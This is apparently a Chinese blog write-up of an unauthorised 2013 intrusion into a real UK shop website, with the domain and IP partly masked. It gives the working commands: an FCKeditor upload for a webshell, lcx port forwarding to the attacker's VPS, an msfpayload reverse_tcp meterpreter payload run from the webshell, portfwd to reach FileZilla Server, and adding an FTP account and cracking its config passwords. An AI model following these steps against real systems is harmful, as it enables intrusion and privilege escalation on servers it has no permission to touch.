Date/time:2013年,闲着没事随便找了个英国小站练手,通过对目标网站的观察得到个敏感目录userfile/file/,Fckeditor默认上传路径,Fckeditor 2.4.3 ASP这个版本有点问题,就是不能直接通过Get Folders and Files获取文件列表, 在IE浏览器左下脚会提示有JS脚本错误,得先上传个文件后才能获取,直接用BurpSuite拿到Webshell权限,主要还是记录下提权过程中遇到的问题吧。

基本信息探测:

  1. 目标站点:http://www.lowfiel***armshop.co.uk
  2. 服务器IP9*.1*9.4.1*3(英国)
  3. 环境平台:ASP.NET
  4. 服务器系统:Microsoft-IIS/7.5
  5. 端口开放:2180135445338914147
  6. 补丁情况:服务器系统打了60+补丁(64位系统)
  7. 脚本探测:支持ASPASPXPHP脚本
  8. 磁盘权限:C盘部分文件夹有可读/写权限

0x01 reverse_tcp实战应用过程

(1) 前期测试

试了些已公布的2008提权EXP,不过都失败了,第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地,然后再用lcx把Filezilla Server的14147端口转发出来,lcx执行命令如下。

首先VPS机器监听51端口,连接用14147端口:

  1. VPS机器执行:
  2. C:\>lcx.exe -listen 51 14147
  3. 目标机器执行:
  4. /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147

Image 1.png

lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。

  1. TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4
  2. TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028
  3. TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040
  4. TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088
  5. TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088
  6. TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736

可以看到我们已经与目标机器建立了一个完整TCP连接,而且我们本地机器也成功的返回了数据,但是好像返回的数据信息中有错误,如下图。
Image 2.png

当前问题:
不能正常把目标服务器的FileZilla Server 14147端口给转发出来,返回数据中出错了,所以无法在本地连接上FileZilla Server服务端。

解决办法:
利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件,然后在Meterpreter会话中用portfwd命令进行端口转发即可。

(2) 实战应用

如果我们自己也处于内网环境的情况下,那么就需要先在路由器里进行端口映射配置,然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件,命令如下。

  1. root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe

Image 3.png

先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,执行命令如下。

  1. use exploit/mutil/handler //加载监听模块
  2. set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷
  3. set LHOST 192.168.1.4 //设置攻击者内网IP
  4. set LPORT 12345 //设置本地监听端口
  5. exploit //exploit执行监听

Image 4.png

将必填配置选项完成后执行exploit命令进行监听,然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件,如果成功的话就会返回一个reverse_tcp反向连接的会话。
Image 5.png

成功得到目标机器Meterpreter会话,然后直接使用portfwd命令进行端口转发即可,执行命令如下。

  1. meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1

Image 6.png

使用portfwd命令成功执行端口转发操作后,我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接了??127.0.0.1是虚拟机的本地IP,DHCP分配的内网IP是:192.168.1.4,所以在物理机连接时必须填写192.168.1.4
Image 7.png

注意事项:
第一个问题已经成功解决,使用portfwd端口转发后已成功连接FileZilla Server并添加FTP账号,但后边又遇到了另外一个问题,就是在用FTP客户端连接FTP时报出了421错误。FileZilla Server配置文件已经更新,说明FTP帐号已经被添加进去了,也尝试了破解配置文件中的FTP账号密码后连接FTP时仍然会报出421错误,弄了好久没找到问题所在,就先把这两个问题简单的记录在这里吧。

DOS命令行下连接FTP显示:

  1. C:\Users\administrator>ftp
  2. ftp> open 9*.1*9.4.1*3
  3. 连接到 9*.1*9.4.1*3421 Server is locked, please try again later.,远程主机关闭连接。

public.png